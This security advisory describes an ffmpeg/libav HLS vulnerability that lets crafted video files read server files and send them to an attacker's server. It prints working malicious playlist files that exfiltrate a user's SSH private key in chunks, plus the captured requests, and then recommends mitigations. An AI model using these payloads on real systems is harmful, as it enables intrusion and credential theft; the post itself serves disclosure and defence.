A few weeks ago, programmer, Maxim Andreev, released a critical ffmpeg and libav vulnerability in his blog that affects all ffmpeg versions prior to the January patch[1]. With a specially crafted video file, an adversary is able to perform a weaker form of server-side request forgery attacks (i.e., the attacker is only able to send requests to a server of the adversary’s choice and cannot read the response).
Among other things, a successful attack could allow an adversary to retrieve files stored on that server. This could include sensitive server configurations, keys, or other data that could lead to escalated access, and even directly access media files and other assets to which this server has access. The attack is limited to accessing files and information with the same permissions as the user running ffmpeg, however, it is common for ffmpeg to be used in such a way that it has broad access to information and assets.
To exploit this vulnerability, an adversary would need the ability to upload files to be processed by a vulnerable version of ffmpeg. This is a typical use case for any web application that handles video files, such as for the purpose of video playback, watermarking, transcoding, parsing, or any other processing. Making things worse, the victim server does not even need to actively open the malicious file before the exploit can be activated. Situations such as file manager thumbnail generation or file system indexers that use ffmpeg under the hood could trigger the exploit automatically.
The actual exploitation of this vulnerability does have some limitations. ffmpeg does not interpret the tilde character (~) as the user's home path. This means that stealing files within the user’s home directory is unlikely—unless the adversary knows the user name prior, in order to hard code the absolute user home directory path. This is likely possible in any semi-targeted attack. The other limitation is that ffmpeg will only read up to a line feed, carriage return, or null byte when using the HLS+concat/subfile method. The latter makes leaking a large file without knowing the format a huge pain. Certain files such as a private SSH key, however, have a known format making them easily obtainable.
Attack Example
Below, video1.mkv and video2.mkv will be our malicious video files. playlist.m3u8 is a playlist file hosted on an attacker controlled server. Here we have guessed the user name, victim, as user names of company servers are often quite easily guessed. Note the playlist file ends right after the “?” in the URL. There should be no line feed or carriage return following, or else ffmpeg will not concatenate any strings onto to that URL. So those using Vim for example to edit the playlist.m3u8 file should be careful of the \n it appends.
Upon processing video1.mkv and video2.mkv, ffmpeg will reach out to localhost:8000 for playlist.m3u8. It will then concatenate 64 byte chunks from the SSH private key of the user “victim” and send it in a GET request to localhost:8001 for each video file.
Figure 1. video1.mkv malicious video file.
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:4901.0,
concat:http://localhost:8000/playlist.m3u8|subfile,,start,877,end,941,,
:/home/victim/.ssh/id_rsa|subfile,,start,942,end,1006,,
:/home/victim/.ssh/id_rsa|subfile,,start,1007,end,1071,,
:/home/victim/.ssh/id_rsa|subfile,,start,1072,end,1136,,
:/home/victim/.ssh/id_rsa|subfile,,start,1137,end,1201,,
:/home/victim/.ssh/id_rsa|subfile,,start,1202,end,1266,,
:/home/victim/.ssh/id_rsa|subfile,,start,1267,end,1331,,
:/home/victim/.ssh/id_rsa|subfile,,start,1332,end,1396,,
:/home/victim/.ssh/id_rsa|subfile,,start,1397,end,1461,,
:/home/victim/.ssh/id_rsa|subfile,,start,1462,end,1526,,
:/home/victim/.ssh/id_rsa|subfile,,start,1527,end,1591,,
:/home/victim/.ssh/id_rsa|subfile,,start,1592,end,1656,,
:/home/victim/.ssh/id_rsa
#EXT-X-ENDLIST
Figure 2. video2.mkv malicious video file.
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost:8001?
Figure 3. playlist.m3u8 is hosted on server attacker controls.
Figures 4 and 5 show the requests received. Merging the two requests will give us the whole private key of the user “victim.”
GET
?MIIEpQIBAAKCAQEA0+2hLWk88anc4UMJ7po9DYRpQDoYPpYcSBG
uAzvEzx6RLkTqo7+b3CkK1XZdaF8UGXkAW4Rg8iJAbminWCUGEGf
CwsDn1acQSD9Q0KtrAPImLPaZCajCmToyEjYtcOERBkmRujiLJJ8
xsIPcYQMasjuQyh5CjyAqPHh1scHIons0dGMRgiLgwW2JwzK+zl2
kjNQmP1JY5xSelm6yosbgDdJ/GOgcBHBjOIQ8TWUKe/jqw7KxoCP
QNqAPhAMRprQq36njiCjZ8n1dwoUg+nhfeBrBDAdpa8RrkrgzeFf
UNHNinW07nlrMf/ZWEd0z8EnayIsOsJEuRmDDUElbkUSx6wIDAQA
BAoIBAQDRXfySaVpdAMwG+vzP7S6NsRdt7TbQdeoAxP6dkSmQ2Qj
iphEMrpoi+aULV8FWAEBSHfldcD16WJ5AtUFF0mXYRTniv0MKDt8
GEQ8c54xxxcgzOXfdVAzT5etblIx17NOt23aNe5jzGBa15L8OVEv
GcxRKqXRmA4fWb8cOUnyNDtBWOxplypXJXQj/XikNbdzi7r4YHC7
HpvxGu11tMYNiDiW3ugaUCmbmTNO/9uQ2i+ZDGAU56U3ElErdrFL
PPJ+/m9KPks2cSs6jisiy5IkU3Kgcix8hGGKPtu5yNV4BmfZ1P7e
iDHe4mKwFDvR4ULyoJ71w9OsdNHmyJw0CVEzpAoGBAO71NWGzpTp
vFI2KQNJ/Q/ajeaqy8qLFc7ysTrjCV1nOyLABhqa90yK/nykXS8A
vi/stKwJZ7WhqkVUPtOxLMnUKM1ezquPAhwK4oOPyEG68/DOdIkUX HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: localhost:8001
Icy-MetaData: 1
Figure 4. First part of /home/victim/.ssh/id_rsa
GET
?AdBZZLIIPKkvNpZ0AF9/Ej1tTaOS1PjQQNaxjh6NhFrgt38Zm
O087JVdAoGBAOMK7QtxvhbaGZ4QnCLR8QsJTI+BLttJmZ+OXtP
rmRMNilZzwB94bCvhkcbIJu5EoLrQeXDxsLcJAf6qGSsu8pimD
XwJS8DgHgzBqaO7DK/MFj3Hk+y1rpCkiENJ72mbp5gWT5/odxQ
Kceyj9VpD++KLcmFrYPNB+28y4Oj13+fnAoGAfnhtXl50Lq8n0
5m+oSoWUG1JMZ0wahHTJaKUr5i8Hp4g/XZxS8LgAl4k4NyhjQA
dOD05rC7oRgFRFhIQEZfjBqr1bY97/LqjOj95d+tf4xxG5xJdV
u/MV/dYIhnV8T05yPtwTxq0DqrREqfd7CpchsTGkUkZKfgRZkW
n+LfsB0kCgYEAsviw5R2TN5ZTLUtwmO4fcZCx/klZ81hwNdtXm
vwT3XYF/6Ic53HY6zpT3Ht4XMhSXxDpOgP7Rj1eii3xyx2l9Hi
pFoaJZZAFgA7FN6DCHm3ldmu1ipmo8rIQC+LjS798fCHSQH5SJ
8UYCu8wACipDOrZjjvD3926YuybaGgxSS8CgYEAyWCUqc8hYDH
4OK22UCtkkvkz8hSUQWFZLZ6A0gHiVxHga4R7/Z6TM/Xar7Z6i
sZz+aQXNGfp+A2hH4nDgLttFP52KP8ziwdSAMIiCXToUwwp5IK
65rRgwpjGFsopf9be4z0eHPADS0vW2XPli+/GXUJaB3FNb7jtMPjqwyQkbyY= HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: localhost:8001
Icy-MetaData: 1
Figure 5. Second part of /home/victim/.ssh/id_rsa
As ISE[2] and Google[3] have recommended in the past, it is always wise to keep ffmpeg up-to-date. ffmpeg versions 2.8.5, 2.7.5, 2.6.7, or 2.5.10 have incorporated a fix for this vulnerability and developers should upgrade to one of these versions as soon as possible.
Note: Upgrading the system's ffmpeg version may not be enough, as some applications may be statically linked with a vulnerable version of ffmpeg. In this case, developers would need to rebuild the application and link it with a non-vulnerable version of the ffmpeg library.
In addition to upgrading ffmpeg (or if ffmpeg cannot be immediately upgraded, which is the only surefire way to mitigate this risk), we recommend the following steps:
- Rebuild ffmpeg with the --disable-network configuration flag, which will prevent this attack, as it relies on network support.
- Consider running ffmpeg in an isolated environment (containers, sandboxes, etc.) to contain any successful exploits of this vulnerability or future vulnerabilities
- Harden firewall egress rules.
- Monitor outgoing server traffic, specifically servers that accept user uploaded files, to ensure there is no abnormal behavior that could indicate the compromise of assets or server information.